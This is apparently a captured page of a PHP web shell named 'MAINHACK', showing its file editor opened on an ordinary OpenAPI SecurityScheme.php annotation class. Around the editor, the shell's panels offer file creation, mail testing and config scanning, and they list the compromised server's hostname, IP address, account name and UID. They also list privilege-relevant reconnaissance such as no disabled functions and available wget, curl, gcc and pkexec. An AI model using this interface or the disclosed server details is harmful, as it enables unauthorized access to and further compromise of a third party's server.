[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: SecurityScheme.php
<?php declare(strict_types=1); /** * @license Apache 2.0 */ namespace OpenApi\Annotations; use OpenApi\Generator; /** * @see [OAI Security Scheme Object](https://github.com/OAI/OpenAPI-Specification/blob/main/versions/3.1.0.md#securitySchemeObject). * * @Annotation */ class SecurityScheme extends AbstractAnnotation { /** * The relative or absolute path to a security scheme. * * @see [Using refs](https://swagger.io/docs/specification/using-ref/) * * @var string|class-string|object */ public $ref = Generator::UNDEFINED; /** * The key into OpenApi->security array. * * @var string */ public $securityScheme = Generator::UNDEFINED; /** * The type of the security scheme. * * @var string|non-empty-array<string> */ public $type = Generator::UNDEFINED; /** * A short description for security scheme. * * @var string */ public $description = Generator::UNDEFINED; /** * The name of the header or query parameter to be used. * * @var string */ public $name = Generator::UNDEFINED; /** * Required The location of the API key. * * @var string */ public $in = Generator::UNDEFINED; /** * The flow used by the OAuth2 security scheme. * * @var Flow[] */ public $flows = Generator::UNDEFINED; /** * A hint to the client to identify how the bearer token is formatted. * * Bearer tokens are usually generated by an authorization server, so this information is primarily for documentation purposes. * * @var string */ public $bearerFormat = Generator::UNDEFINED; /** * The name of the HTTP Authorization scheme. * * @see [RFC7235](https://tools.ietf.org/html/rfc7235#section-5.1) * * @var string */ public $scheme = Generator::UNDEFINED; /** * OpenId Connect URL to discover OAuth2 configuration values. This MUST be in the form of a URL. * * @var string */ public $openIdConnectUrl = Generator::UNDEFINED; /** * @inheritdoc */ public static $_required = ['securityScheme', 'type']; /** * @inheritdoc */ public static $_types = [ 'type' => ['http', 'apiKey', 'oauth2', 'openIdConnect'], 'description' => 'string', 'name' => 'string', 'bearerFormat' => 'string', 'in' => ['query', 'header', 'cookie'], ]; /** * @inheritdoc */ public static $_nested = [ Flow::class => ['flows', 'flow'], Attachable::class => ['attachables'], ]; /** * @inheritdoc */ public static $_parents = [ Components::class, ]; /** * @inheritdoc */ public function merge(array $annotations, bool $ignore = false): array { $unmerged = parent::merge($annotations, $ignore); if ($this->type === 'oauth2') { $this->name = Generator::UNDEFINED; } return $unmerged; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.5 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002